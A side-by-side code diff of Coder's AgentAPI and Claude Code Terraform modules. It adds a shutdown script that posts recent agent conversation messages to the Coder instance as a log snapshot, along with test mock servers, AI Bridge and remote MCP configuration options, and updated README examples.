description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)." description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)."
@ -126,6 +128,12 @@ variable "agentapi_port" {
default = 3284 default = 3284
} }
variable "task_log_snapshot" {
type = bool
description = "Capture last 10 messages when workspace stops for offline viewing while task is paused."
default = true
}
locals { locals {
# agentapi_subdomain_false_min_version_expr matches a semantic version >= v0.3.3. # agentapi_subdomain_false_min_version_expr matches a semantic version >= v0.3.3.
# Initial support was added in v0.3.1 but configuration via environment variable # Initial support was added in v0.3.1 but configuration via environment variable
@ -173,6 +181,7 @@ locals {
// for backward compatibility. // for backward compatibility.
agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat" agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat"
main_script = file("${path.module}/scripts/main.sh") main_script = file("${path.module}/scripts/main.sh")
shutdown_script = file("${path.module}/scripts/agentapi-shutdown.sh")
} }
resource "coder_script" "agentapi" { resource "coder_script" "agentapi" {
@ -198,11 +207,32 @@ resource "coder_script" "agentapi" {
ARG_POST_INSTALL_SCRIPT="$(echo -n '${local.encoded_post_install_script}' | base64 -d)" \ ARG_POST_INSTALL_SCRIPT="$(echo -n '${local.encoded_post_install_script}' | base64 -d)" \
ARG_AGENTAPI_PORT='${var.agentapi_port}' \ ARG_AGENTAPI_PORT='${var.agentapi_port}' \
ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \ ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
/tmp/main.sh /tmp/main.sh
EOT EOT
run_on_start = true run_on_start = true
} }
resource "coder_script" "agentapi_shutdown" {
agent_id = var.agent_id
display_name = "AgentAPI Shutdown"
icon = var.web_app_icon
run_on_stop = true
script = <<-EOT
#!/bin/bash
set -o pipefail
echo -n '${base64encode(local.shutdown_script)}' | base64 -d > /tmp/agentapi-shutdown.sh
chmod +x /tmp/agentapi-shutdown.sh
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
ARG_AGENTAPI_PORT='${var.agentapi_port}' \
/tmp/agentapi-shutdown.sh
EOT
}
resource "coder_app" "agentapi_web" { resource "coder_app" "agentapi_web" {
slug = var.web_app_slug slug = var.web_app_slug
display_name = var.web_app_display_name display_name = var.web_app_display_name

View File

@ -0,0 +1,212 @@
#!/usr/bin/env bash
# AgentAPI shutdown script.
#
# Captures the last 10 messages from AgentAPI and posts them to Coder instance
# as a snapshot. This script is called during workspace shutdown to access
# conversation history for paused tasks.
set -euo pipefail
# Configuration (set via Terraform interpolation).
readonly TASK_ID="${ARG_TASK_ID:-}"
readonly TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
readonly AGENTAPI_PORT="${ARG_AGENTAPI_PORT:-3284}"
# Runtime environment variables.
readonly CODER_AGENT_URL="${CODER_AGENT_URL:-}"
readonly CODER_AGENT_TOKEN="${CODER_AGENT_TOKEN:-}"
# Constants.
readonly MAX_PAYLOAD_SIZE=65536 # 64KB
readonly MAX_MESSAGE_CONTENT=57344 # 56KB
readonly MAX_MESSAGES=10
readonly FETCH_TIMEOUT=5
readonly POST_TIMEOUT=10
log() {
echo "$*"
}
error() {
echo "Error: $*" >&2
}
fetch_and_build_messages_payload() {
local payload_file="$1"
local messages_url="http://localhost:${AGENTAPI_PORT}/messages"
log "Fetching messages from AgentAPI on port $AGENTAPI_PORT"
if ! curl -fsSL --max-time "$FETCH_TIMEOUT" "$messages_url" > "$payload_file"; then
error "Failed to fetch messages from AgentAPI (may not be running)"
return 1
fi
# Update messages field to keep only last N messages.
if ! jq --argjson n "$MAX_MESSAGES" '.messages |= .[-$n:]' < "$payload_file" > "${payload_file}.tmp"; then
error "Failed to select last $MAX_MESSAGES messages"
return 1
fi
mv "${payload_file}.tmp" "$payload_file"
return 0
}
truncate_messages_payload_to_size() {
local payload_file="$1"
local max_size="$2"
while true; do
local size
size=$(wc -c < "$payload_file")
if ((size <= max_size)); then
break
fi
local count
count=$(jq '.messages | length' < "$payload_file")
if ((count == 1)); then
# Down to last message, truncate its content keeping the tail.
log "Payload size $size bytes exceeds limit, truncating final message content"
# Keep tail of content with truncation indicator, leaving room for JSON
# overhead.
if ! jq --argjson maxlen "$MAX_MESSAGE_CONTENT" '.messages[0].content |= (if length > $maxlen then "[...content truncated, showing last 56KB...]\n\n" + .[-$maxlen:] else . end)' < "$payload_file" > "${payload_file}.tmp"; then
error "Failed to truncate message content"
return 1
fi
mv "${payload_file}.tmp" "$payload_file"
# Verify the truncation was sufficient.
size=$(wc -c < "$payload_file")
if ((size > max_size)); then
error "Payload still too large after content truncation, giving up"
return 1
fi
break
else
# More than one message, remove the oldest.
log "Payload size $size bytes exceeds limit, removing oldest message"
if ! jq '.messages |= .[1:]' < "$payload_file" > "${payload_file}.tmp"; then
error "Failed to remove oldest message"
return 1
fi
mv "${payload_file}.tmp" "$payload_file"
fi
done
return 0
}
post_task_log_snapshot() {
local payload_file="$1"
local tmpdir="$2"
local snapshot_url="${CODER_AGENT_URL}/api/v2/workspaceagents/me/tasks/${TASK_ID}/log-snapshot?format=agentapi"
local response_file="${tmpdir}/response.txt"
log "Posting log snapshot to Coder instance"
local http_code
if ! http_code=$(curl -sS -w "%{http_code}" -o "$response_file" \
--max-time "$POST_TIMEOUT" \
-X POST "$snapshot_url" \
-H "Coder-Session-Token: $CODER_AGENT_TOKEN" \
-H "Content-Type: application/json" \
--data-binary "@$payload_file"); then
error "Failed to connect to Coder instance (curl failed)"
return 1
fi
if [[ $http_code == 204 ]]; then
log "Log snapshot posted successfully"
return 0
elif [[ $http_code == 404 ]]; then
log "Log snapshot endpoint not supported by this Coder version, skipping"
return 0
else
local response
response=$(cat "$response_file" 2> /dev/null || echo "")
error "Failed to post log snapshot (HTTP $http_code): $response"
return 1
fi
}
capture_task_log_snapshot() {
if [[ -z $TASK_ID ]]; then
log "No task ID, skipping log snapshot"
exit 0
fi
if [[ -z $CODER_AGENT_URL ]]; then
error "CODER_AGENT_URL not set, cannot capture log snapshot"
exit 1
fi
if [[ -z $CODER_AGENT_TOKEN ]]; then
error "CODER_AGENT_TOKEN not set, cannot capture log snapshot"
exit 1
fi
if ! command -v jq > /dev/null 2>&1; then
error "jq not found, cannot capture log snapshot"
exit 1
fi
if ! command -v curl > /dev/null 2>&1; then
error "curl not found, cannot capture log snapshot"
exit 1
fi
tmpdir=$(mktemp -d)
trap 'rm -rf "$tmpdir"' EXIT
local payload_file="${tmpdir}/payload.json"
if ! fetch_and_build_messages_payload "$payload_file"; then
error "Cannot capture log snapshot without messages"
exit 1
fi
local message_count
message_count=$(jq '.messages | length' < "$payload_file")
if ((message_count == 0)); then
log "No messages for log snapshot"
exit 0
fi
log "Retrieved $message_count messages for log snapshot"
# Ensure payload fits within size limit.
if ! truncate_messages_payload_to_size "$payload_file" "$MAX_PAYLOAD_SIZE"; then
error "Failed to truncate payload to size limit"
exit 1
fi
local final_size final_count
final_size=$(wc -c < "$payload_file")
final_count=$(jq '.messages | length' < "$payload_file")
log "Log snapshot payload: $final_size bytes, $final_count messages"
if ! post_task_log_snapshot "$payload_file" "$tmpdir"; then
error "Log snapshot capture failed"
exit 1
fi
}
main() {
log "Shutting down AgentAPI"
if [[ $TASK_LOG_SNAPSHOT == true ]]; then
capture_task_log_snapshot
else
log "Log snapshot disabled, skipping"
fi
log "Shutdown complete"
}
main "$@"

View File

@ -14,6 +14,8 @@ WAIT_FOR_START_SCRIPT="$ARG_WAIT_FOR_START_SCRIPT"
POST_INSTALL_SCRIPT="$ARG_POST_INSTALL_SCRIPT" POST_INSTALL_SCRIPT="$ARG_POST_INSTALL_SCRIPT"
AGENTAPI_PORT="$ARG_AGENTAPI_PORT" AGENTAPI_PORT="$ARG_AGENTAPI_PORT"
AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}" AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}"
TASK_ID="${ARG_TASK_ID:-}"
TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
set +o nounset set +o nounset
command_exists() { command_exists() {
@ -23,6 +25,13 @@ command_exists() {
module_path="$HOME/${MODULE_DIR_NAME}" module_path="$HOME/${MODULE_DIR_NAME}"
mkdir -p "$module_path/scripts" mkdir -p "$module_path/scripts"
# Check for jq dependency if task log snapshot is enabled.
if [[ $TASK_LOG_SNAPSHOT == true ]] && [[ -n $TASK_ID ]]; then
if ! command_exists jq; then
echo "Warning: jq is not installed. Task log snapshot requires jq to capture conversation history."
echo "Install jq to enable log snapshot functionality when the workspace stops."
fi
fi
if [ ! -d "${WORKDIR}" ]; then if [ ! -d "${WORKDIR}" ]; then
echo "Warning: The specified folder '${WORKDIR}' does not exist." echo "Warning: The specified folder '${WORKDIR}' does not exist."
echo "Creating the folder..." echo "Creating the folder..."

View File

@ -0,0 +1,84 @@
#!/usr/bin/env node
// Mock AgentAPI server for shutdown script tests.
// Usage: MESSAGES='[...]' node agentapi-mock-shutdown.js [port]
const http = require("http");
const port = process.argv[2] || 3284;
// Parse messages from environment or use default
let messages = [];
if (process.env.MESSAGES) {
try {
messages = JSON.parse(process.env.MESSAGES);
} catch (e) {
console.error("Failed to parse MESSAGES env var:", e.message);
process.exit(1);
}
}
// Presets for common test scenarios
if (process.env.PRESET === "normal") {
messages = [
{ id: 1, type: "input", content: "Hello", time: "2025-01-01T00:00:00Z" },
{
id: 2,
type: "output",
content: "Hi there",
time: "2025-01-01T00:00:01Z",
},
{
id: 3,
type: "input",
content: "How are you?",
time: "2025-01-01T00:00:02Z",
},
{
id: 4,
type: "output",
content: "Good!",
time: "2025-01-01T00:00:03Z",
},
{ id: 5, type: "input", content: "Great", time: "2025-01-01T00:00:04Z" },
];
} else if (process.env.PRESET === "many") {
messages = Array.from({ length: 15 }, (_, i) => ({
id: i + 1,
type: "input",
content: `Message ${i + 1}`,
time: "2025-01-01T00:00:00Z",
}));
} else if (process.env.PRESET === "huge") {
messages = [
{
id: 1,
type: "output",
content: "x".repeat(70000),
time: "2025-01-01T00:00:00Z",
},
];
}
const server = http.createServer((req, res) => {
if (req.url === "/messages") {
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ messages }));
} else if (req.url === "/status") {
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ status: "stable" }));
} else {
res.writeHead(404);
res.end();
}
});
server.listen(port, () => {
console.error(`Mock AgentAPI listening on port ${port}`);
});
process.on("SIGTERM", () => {
server.close(() => process.exit(0));
});
process.on("SIGINT", () => {
server.close(() => process.exit(0));
});

View File

@ -0,0 +1,61 @@
#!/usr/bin/env node
// Mock Coder instance server for shutdown script tests.
// Captures POST requests to /log-snapshot endpoint.
const http = require("http");
const fs = require("fs");
const port = process.argv[2] || 8080;
const outputFile = process.env.OUTPUT_FILE || "/tmp/snapshot-posted.json";
const httpCode = parseInt(process.env.HTTP_CODE || "204", 10);
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${port}`);
// Expected path: /api/v2/workspaceagents/me/tasks/{task_id}/log-snapshot
const pathMatch = url.pathname.match(/\/tasks\/([^\/]+)\/log-snapshot$/);
if (req.method === "POST" && pathMatch) {
const taskId = pathMatch[1];
let body = "";
req.on("data", (chunk) => {
body += chunk.toString();
});
req.on("end", () => {
// Save captured snapshot with task ID for verification
const snapshotData = {
task_id: taskId,
payload: JSON.parse(body),
};
fs.writeFileSync(outputFile, JSON.stringify(snapshotData, null, 2));
console.error(
`Captured snapshot for task ${taskId} (${body.length} bytes) to ${outputFile}`,
);
// Return configured status code
res.writeHead(httpCode);
res.end();
});
req.on("error", (err) => {
console.error("Request error:", err);
res.writeHead(500);
res.end();
});
} else {
res.writeHead(404);
res.end();
}
});
server.listen(port, () => {
console.error(`Mock Coder instance listening on port ${port}`);
});
process.on("SIGTERM", () => {
server.close(() => process.exit(0));
});
process.on("SIGINT", () => {
server.close(() => process.exit(0));
});

View File

@ -3,7 +3,7 @@ display_name: Claude Code
description: Run the Claude Code agent in your workspace. description: Run the Claude Code agent in your workspace.
icon: ../../../../.icons/claude.svg icon: ../../../../.icons/claude.svg
verified: true verified: true
tags: [agent, claude-code, ai, tasks, anthropic] tags: [agent, claude-code, ai, tasks, anthropic, aibridge]
--- ---
# Claude Code # Claude Code
@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude
```tf ```tf
module "claude-code" { module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder" source = "registry.coder.com/coder/claude-code/coder"
version = "4.3.0" version = "4.7.5"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
claude_api_key = "xxxx-xxxxx-xxxx" claude_api_key = "xxxx-xxxxx-xxxx"
@ -42,33 +42,85 @@ By default, Claude Code automatically resumes existing conversations when your w
This example shows how to configure the Claude Code module to run the agent behind a process-level boundary that restricts its network access. This example shows how to configure the Claude Code module to run the agent behind a process-level boundary that restricts its network access.
By default, when `enable_boundary = true`, the module uses `coder boundary` subcommand (provided by Coder) without requiring any installation.
```tf ```tf
module "claude-code" { module "claude-code" {
source = "dev.registry.coder.com/coder/claude-code/coder" source = "registry.coder.com/coder/claude-code/coder"
version = "4.3.0" version = "4.7.5"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
enable_boundary = true enable_boundary = true
boundary_version = "v0.5.1"
} }
``` ```
### Usage with Tasks and Advanced Configuration > [!NOTE]
> For developers: The module also supports installing boundary from a release version (`use_boundary_directly = true`) or compiling from source (`compile_boundary_from_source = true`). These are escape hatches for development and testing purposes.
This example shows how to configure the Claude Code module with an AI prompt, API key shared by all users of the template, and other custom settings. ### Usage with AI Bridge
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0.
For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
#### Standalone usage with AI Bridge
```tf ```tf
data "coder_parameter" "ai_prompt" { module "claude-code" {
type = "string" source = "registry.coder.com/coder/claude-code/coder"
name = "AI Prompt" version = "4.7.5"
default = "" agent_id = coder_agent.main.id
description = "Initial task prompt for Claude Code." workdir = "/home/coder/project"
mutable = true enable_aibridge = true
}
```
When `enable_aibridge = true`, the module automatically sets:
- `ANTHROPIC_BASE_URL` to `${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic`
- `CLAUDE_API_KEY` to the workspace owner's session token
This allows Claude Code to route API requests through Coder's AI Bridge instead of directly to Anthropic's API.
Template build will fail if either `claude_api_key` or `claude_code_oauth_token` is provided alongside `enable_aibridge = true`.
### Usage with Tasks
This example shows how to configure Claude Code with Coder tasks.
```tf
resource "coder_ai_task" "task" {
count = data.coder_workspace.me.start_count
app_id = module.claude-code.task_app_id
} }
data "coder_task" "me" {}
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
ai_prompt = data.coder_task.me.prompt
# Optional: route through AI Bridge (Premium feature)
# enable_aibridge = true
}
```
### Advanced Configuration
This example shows additional configuration options for version pinning, custom models, and MCP servers.
> [!NOTE]
> The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located.
> [!WARNING]
> **Deprecation Notice**: The npm installation method (`install_via_npm = true`) will be deprecated and removed in the next major release. Please use the default binary installation method instead.
```tf
module "claude-code" { module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder" source = "registry.coder.com/coder/claude-code/coder"
version = "4.3.0" version = "4.7.5"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
@ -76,12 +128,11 @@ module "claude-code" {
# OR # OR
claude_code_oauth_token = "xxxxx-xxxx-xxxx" claude_code_oauth_token = "xxxxx-xxxx-xxxx"
claude_code_version = "2.0.62" # Pin to a specific version claude_code_version = "2.0.62" # Pin to a specific version
claude_binary_path = "/opt/claude/bin" # Path to pre-installed Claude binary
agentapi_version = "0.11.4" agentapi_version = "0.11.4"
ai_prompt = data.coder_parameter.ai_prompt.value model = "sonnet"
model = "sonnet"
permission_mode = "plan" permission_mode = "plan"
mcp = <<-EOF mcp = <<-EOF
@ -94,9 +145,30 @@ module "claude-code" {
} }
} }
EOF EOF
mcp_config_remote_path = [
"https://gist.githubusercontent.com/35C4n0r/cd8dce70360e5d22a070ae21893caed4/raw/",
"https://raw.githubusercontent.com/coder/coder/main/.mcp.json"
]
} }
``` ```
> [!NOTE]
> Remote URLs should return a JSON body in the following format:
>
> ```json
> {
> "mcpServers": {
> "server-name": {
> "command": "some-command",
> "args": ["arg1", "arg2"]
> }
> }
> }
> ```
>
> The `Content-Type` header doesn't matter—both `text/plain` and `application/json` work fine.
### Standalone Mode ### Standalone Mode
Run and configure Claude Code as a standalone CLI in your workspace. Run and configure Claude Code as a standalone CLI in your workspace.
@ -104,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace.
```tf ```tf
module "claude-code" { module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder" source = "registry.coder.com/coder/claude-code/coder"
version = "4.3.0" version = "4.7.5"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
install_claude_code = true install_claude_code = true
@ -126,7 +198,7 @@ variable "claude_code_oauth_token" {
module "claude-code" { module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder" source = "registry.coder.com/coder/claude-code/coder"
version = "4.3.0" version = "4.7.5"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
claude_code_oauth_token = var.claude_code_oauth_token claude_code_oauth_token = var.claude_code_oauth_token
@ -137,7 +209,7 @@ module "claude-code" {
#### Prerequisites #### Prerequisites
AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions. AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions.
Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure. Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure.
@ -199,7 +271,7 @@ resource "coder_env" "bedrock_api_key" {
module "claude-code" { module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder" source = "registry.coder.com/coder/claude-code/coder"
version = "4.3.0" version = "4.7.5"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0"
@ -213,7 +285,7 @@ module "claude-code" {
#### Prerequisites #### Prerequisites
GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role). GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role).
Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform. Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform.
@ -256,7 +328,7 @@ resource "coder_env" "google_application_credentials" {
module "claude-code" { module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder" source = "registry.coder.com/coder/claude-code/coder"
version = "4.3.0" version = "4.7.5"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
workdir = "/home/coder/project" workdir = "/home/coder/project"
model = "claude-sonnet-4@20250514" model = "claude-sonnet-4@20250514"

View File

@ -184,20 +184,15 @@ describe("claude-code", async () => {
test("claude-model", async () => { test("claude-model", async () => {
const model = "opus"; const model = "opus";
const { id } = await setup({ const { coderEnvVars } = await setup({
moduleVariables: { moduleVariables: {
model: model, model: model,
ai_prompt: "test prompt", ai_prompt: "test prompt",
}, },
}); });
await execModuleScript(id);
const startLog = await execContainer(id, [ // Verify ANTHROPIC_MODEL env var is set via coder_env
"bash", expect(coderEnvVars["ANTHROPIC_MODEL"]).toBe(model);
"-c",
"cat /home/coder/.claude-module/agentapi-start.log",
]);
expect(startLog.stdout).toContain(`--model ${model}`);
}); });
test("claude-continue-resume-task-session", async () => { test("claude-continue-resume-task-session", async () => {
@ -466,4 +461,54 @@ EOF`,
expect(startLog.stdout).toContain(taskSessionId); expect(startLog.stdout).toContain(taskSessionId);
expect(startLog.stdout).not.toContain("manual-456"); expect(startLog.stdout).not.toContain("manual-456");
}); });
test("mcp-config-remote-path", async () => {
const failingUrl = "http://localhost:19999/mcp.json";
const successUrl =
"https://raw.githubusercontent.com/coder/coder/main/.mcp.json";
const { id, coderEnvVars } = await setup({
skipClaudeMock: true,
moduleVariables: {
mcp_config_remote_path: JSON.stringify([failingUrl, successUrl]),
},
});
await execModuleScript(id, coderEnvVars);
const installLog = await readFileContainer(
id,
"/home/coder/.claude-module/install.log",
);
// Verify both URLs are attempted
expect(installLog).toContain(failingUrl);
expect(installLog).toContain(successUrl);
// First URL should fail gracefully
expect(installLog).toContain(
`Warning: Failed to fetch MCP configuration from '${failingUrl}'`,
);
// Second URL should succeed - no failure warning for it
expect(installLog).not.toContain(
`Warning: Failed to fetch MCP configuration from '${successUrl}'`,
);
// Should contain the MCP server add command from successful fetch
expect(installLog).toContain(
"Added stdio MCP server go-language-server to local config",
);
expect(installLog).toContain(
"Added stdio MCP server typescript-language-server to local config",
);
// Verify the MCP config was added to claude.json
const claudeConfig = await readFileContainer(
id,
"/home/coder/.claude.json",
);
expect(claudeConfig).toContain("typescript-language-server");
expect(claudeConfig).toContain("go-language-server");
});
}); });

View File

@ -1,5 +1,5 @@
terraform { terraform {
required_version = ">= 1.0" required_version = ">= 1.9"
required_providers { required_providers {
coder = { coder = {
@ -86,7 +86,7 @@ variable "install_agentapi" {
variable "agentapi_version" { variable "agentapi_version" {
type = string type = string
description = "The version of AgentAPI to install." description = "The version of AgentAPI to install."
default = "v0.11.6" default = "v0.11.8"
} }
variable "ai_prompt" { variable "ai_prompt" {
@ -128,7 +128,7 @@ variable "claude_api_key" {
variable "model" { variable "model" {
type = string type = string
description = "Sets the model for the current session with an alias for the latest model (sonnet or opus) or a models full name." description = "Sets the default model for Claude Code via ANTHROPIC_MODEL env var. If empty, Claude Code uses its default. Supports aliases (sonnet, opus) or full model names."
default = "" default = ""
} }
@ -166,6 +166,12 @@ variable "mcp" {
default = "" default = ""
} }
variable "mcp_config_remote_path" {
type = list(string)
description = "List of URLs that return JSON MCP server configurations (text/plain with valid JSON)"
default = []
}
variable "allowed_tools" { variable "allowed_tools" {
type = string type = string
description = "A list of tools that should be allowed without prompting the user for permission, in addition to settings.json files." description = "A list of tools that should be allowed without prompting the user for permission, in addition to settings.json files."
@ -198,6 +204,23 @@ variable "claude_md_path" {
default = "$HOME/.claude/CLAUDE.md" default = "$HOME/.claude/CLAUDE.md"
} }
variable "claude_binary_path" {
type = string
description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location."
default = "$HOME/.local/bin"
validation {
condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths."
}
}
variable "install_via_npm" {
type = bool
description = "Install Claude Code via npm instead of the official installer. Useful if npm is preferred or the official installer fails."
default = false
}
variable "enable_boundary" { variable "enable_boundary" {
type = bool type = bool
description = "Whether to enable coder boundary for network filtering" description = "Whether to enable coder boundary for network filtering"
@ -206,8 +229,8 @@ variable "enable_boundary" {
variable "boundary_version" { variable "boundary_version" {
type = string type = string
description = "Boundary version, valid git reference should be provided (tag, commit, branch)" description = "Boundary version. When use_boundary_directly is true, a release version should be provided or 'latest' for the latest release. When compile_boundary_from_source is true, a valid git reference should be provided (tag, commit, branch)."
default = "main" default = "latest"
} }
variable "compile_boundary_from_source" { variable "compile_boundary_from_source" {
@ -216,9 +239,30 @@ variable "compile_boundary_from_source" {
default = false default = false
} }
resource "coder_env" "claude_code_md_path" { variable "use_boundary_directly" {
count = var.claude_md_path == "" ? 0 : 1 type = bool
description = "Whether to use boundary binary directly instead of coder boundary subcommand. When false (default), uses coder boundary subcommand. When true, installs and uses boundary binary from release."
default = false
}
variable "enable_aibridge" {
type = bool
description = "Use AI Bridge for Claude Code. https://coder.com/docs/ai-coder/ai-bridge"
default = false
validation {
condition = !(var.enable_aibridge && length(var.claude_api_key) > 0)
error_message = "claude_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
}
validation {
condition = !(var.enable_aibridge && length(var.claude_code_oauth_token) > 0)
error_message = "claude_code_oauth_token cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
}
}
resource "coder_env" "claude_code_md_path" {
count = var.claude_md_path == "" ? 0 : 1
agent_id = var.agent_id agent_id = var.agent_id
name = "CODER_MCP_CLAUDE_MD_PATH" name = "CODER_MCP_CLAUDE_MD_PATH"
value = var.claude_md_path value = var.claude_md_path
@ -237,25 +281,33 @@ resource "coder_env" "claude_code_oauth_token" {
} }
resource "coder_env" "claude_api_key" { resource "coder_env" "claude_api_key" {
count = length(var.claude_api_key) > 0 ? 1 : 0 count = local.claude_api_key != "" ? 1 : 0
agent_id = var.agent_id agent_id = var.agent_id
name = "CLAUDE_API_KEY" name = "CLAUDE_API_KEY"
value = var.claude_api_key value = local.claude_api_key
} }
resource "coder_env" "disable_autoupdater" { resource "coder_env" "disable_autoupdater" {
count = var.disable_autoupdater ? 1 : 0 count = var.disable_autoupdater ? 1 : 0
agent_id = var.agent_id agent_id = var.agent_id
name = "DISABLE_AUTOUPDATER" name = "DISABLE_AUTOUPDATER"
value = "1" value = "1"
} }
resource "coder_env" "claude_binary_path" {
resource "coder_env" "anthropic_model" {
count = var.model != "" ? 1 : 0
agent_id = var.agent_id agent_id = var.agent_id
name = "PATH" name = "ANTHROPIC_MODEL"
value = "$HOME/.local/bin:$PATH" value = var.model
}
resource "coder_env" "anthropic_base_url" {
count = var.enable_aibridge ? 1 : 0
agent_id = var.agent_id
name = "ANTHROPIC_BASE_URL"
value = "${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic"
} }
locals { locals {
@ -267,7 +319,8 @@ locals {
start_script = file("${path.module}/scripts/start.sh") start_script = file("${path.module}/scripts/start.sh")
module_dir_name = ".claude-module" module_dir_name = ".claude-module"
# Extract hostname from access_url for boundary --allow flag # Extract hostname from access_url for boundary --allow flag
coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "") coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
# Required prompts for the module to properly report task status to Coder # Required prompts for the module to properly report task status to Coder
report_tasks_system_prompt = <<-EOT report_tasks_system_prompt = <<-EOT
@ -322,26 +375,27 @@ module "agentapi" {
pre_install_script = var.pre_install_script pre_install_script = var.pre_install_script
post_install_script = var.post_install_script post_install_script = var.post_install_script
start_script = <<-EOT start_script = <<-EOT
#!/bin/bash #!/bin/bash
set -o errexit set -o errexit
set -o pipefail set -o pipefail
echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
chmod +x /tmp/start.sh chmod +x /tmp/start.sh
ARG_MODEL='${var.model}' \ ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
ARG_RESUME_SESSION_ID='${var.resume_session_id}' \ ARG_CONTINUE='${var.continue}' \
ARG_CONTINUE='${var.continue}' \ ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \ ARG_PERMISSION_MODE='${var.permission_mode}' \
ARG_PERMISSION_MODE='${var.permission_mode}' \ ARG_WORKDIR='${local.workdir}' \
ARG_WORKDIR='${local.workdir}' \ ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \ ARG_REPORT_TASKS='${var.report_tasks}' \
ARG_REPORT_TASKS='${var.report_tasks}' \ ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \ ARG_BOUNDARY_VERSION='${var.boundary_version}' \
ARG_BOUNDARY_VERSION='${var.boundary_version}' \ ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \ ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
ARG_CODER_HOST='${local.coder_host}' \ ARG_CODER_HOST='${local.coder_host}' \
/tmp/start.sh ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
EOT /tmp/start.sh
EOT
install_script = <<-EOT install_script = <<-EOT
#!/bin/bash #!/bin/bash
@ -353,11 +407,15 @@ module "agentapi" {
